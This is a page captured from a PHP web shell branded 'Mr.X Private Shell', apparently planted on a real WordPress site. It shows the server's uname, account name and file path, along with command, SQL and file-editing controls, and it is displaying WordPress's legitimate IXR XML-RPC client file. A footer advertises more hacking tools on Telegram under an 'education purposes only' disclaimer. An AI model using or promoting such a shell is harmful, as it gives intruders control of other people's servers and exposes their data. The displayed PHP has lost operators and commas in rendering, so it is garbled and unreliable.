Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/////wp-includes/IXR/      ( Reset | Go to )
File Name: class-IXR-client.php
Edit
<?php

/**
 * IXR_Client
 *
 * @package IXR
 * @since 1.5.0
 *
 */
class IXR_Client
{
    var 
$server;
    var 
$port;
    var 
$path;
    var 
$useragent;
    var 
$response;
    var 
$message false;
    var 
$debug false;
    var 
$timeout;
    var 
$headers = array();

    
// Storage place for an error message
    
var $error false;

    
/**
     * PHP5 constructor.
     */
    
function __construct$server$path false$port 80$timeout 15 )
    {
        if (!
$path) {
            
// Assume we have been given a URL instead
            
$bits parse_url($server);
            
$this->server $bits['host'];
            
$this->port = isset($bits['port']) ? $bits['port'] : 80;
            
$this->path = isset($bits['path']) ? $bits['path'] : '/';

            
// Make absolutely sure we have a path
            
if (!$this->path) {
                
$this->path '/';
            }

            if ( ! empty( 
$bits['query'] ) ) {
                
$this->path .= '?' $bits['query'];
            }
        } else {
            
$this->server $server;
            
$this->path $path;
            
$this->port $port;
        }
        
$this->useragent 'The Incutio XML-RPC PHP Library';
        
$this->timeout $timeout;
    }

    
/**
     * PHP4 constructor.
     */
    
public function IXR_Client$server$path false$port 80$timeout 15 ) {
        
self::__construct$server$path$port$timeout );
    }

    
/**
     * @since 1.5.0
     * @since 5.5.0 Formalized the existing `...$args` parameter by adding it
     *              to the function signature.
     *
     * @return bool
     */
    
function query( ...$args )
    {
        
$method array_shift($args);
        
$request = new IXR_Request($method$args);
        
$length $request->getLength();
        
$xml $request->getXml();
        
$r "\r\n";
        
$request  "POST {$this->path} HTTP/1.0$r";

        
// Merged from WP #8145 - allow custom headers
        
$this->headers['Host']          = $this->server;
        
$this->headers['Content-Type']  = 'text/xml';
        
$this->headers['User-Agent']    = $this->useragent;
        
$this->headers['Content-Length']= $length;

        foreach( 
$this->headers as $header => $value ) {
            
$request .= "{$header}{$value}{$r}";
        }
        
$request .= $r;

        
$request .= $xml;

        
// Now send the request
        
if ($this->debug) {
            echo 
'<pre class="ixr_request">'.htmlspecialchars($request)."\n</pre>\n\n";
        }

        if (
$this->timeout) {
            
$fp = @fsockopen($this->server$this->port$errno$errstr$this->timeout);
        } else {
            
$fp = @fsockopen($this->server$this->port$errno$errstr);
        }
        if (!
$fp) {
            
$this->error = new IXR_Error(-32300'transport error - could not open socket');
            return 
false;
        }
        
fputs($fp$request);
        
$contents '';
        
$debugContents '';
        
$gotFirstLine false;
        
$gettingHeaders true;
        while (!
feof($fp)) {
            
$line fgets($fp4096);
            if (!
$gotFirstLine) {
                
// Check line for '200'
                
if (strstr($line'200') === false) {
                    
$this->error = new IXR_Error(-32300'transport error - HTTP status code was not 200');
                    return 
false;
                }
                
$gotFirstLine true;
            }
            if (
trim($line) == '') {
                
$gettingHeaders false;
            }
            if (!
$gettingHeaders) {
                
// merged from WP #12559 - remove trim
                
$contents .= $line;
            }
            if (
$this->debug) {
                
$debugContents .= $line;
            }
        }
        if (
$this->debug) {
            echo 
'<pre class="ixr_response">'.htmlspecialchars($debugContents)."\n</pre>\n\n";
        }

        
// Now parse what we've got back
        
$this->message = new IXR_Message($contents);
        if (!
$this->message->parse()) {
            
// XML error
            
$this->error = new IXR_Error(-32700'parse error. not well formed');
            return 
false;
        }

        
// Is the message a fault?
        
if ($this->message->messageType == 'fault') {
            
$this->error = new IXR_Error($this->message->faultCode$this->message->faultString);
            return 
false;
        }

        
// Message must be OK
        
return true;
    }

    function 
getResponse()
    {
        
// methodResponses can only have one param - return that
        
return $this->message->params[0];
    }

    function 
isError()
    {
        return (
is_object($this->error));
    }

    function 
getErrorCode()
    {
        return 
$this->error->code;
    }

    function 
getErrorMessage()
    {
        return 
$this->error->message;
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL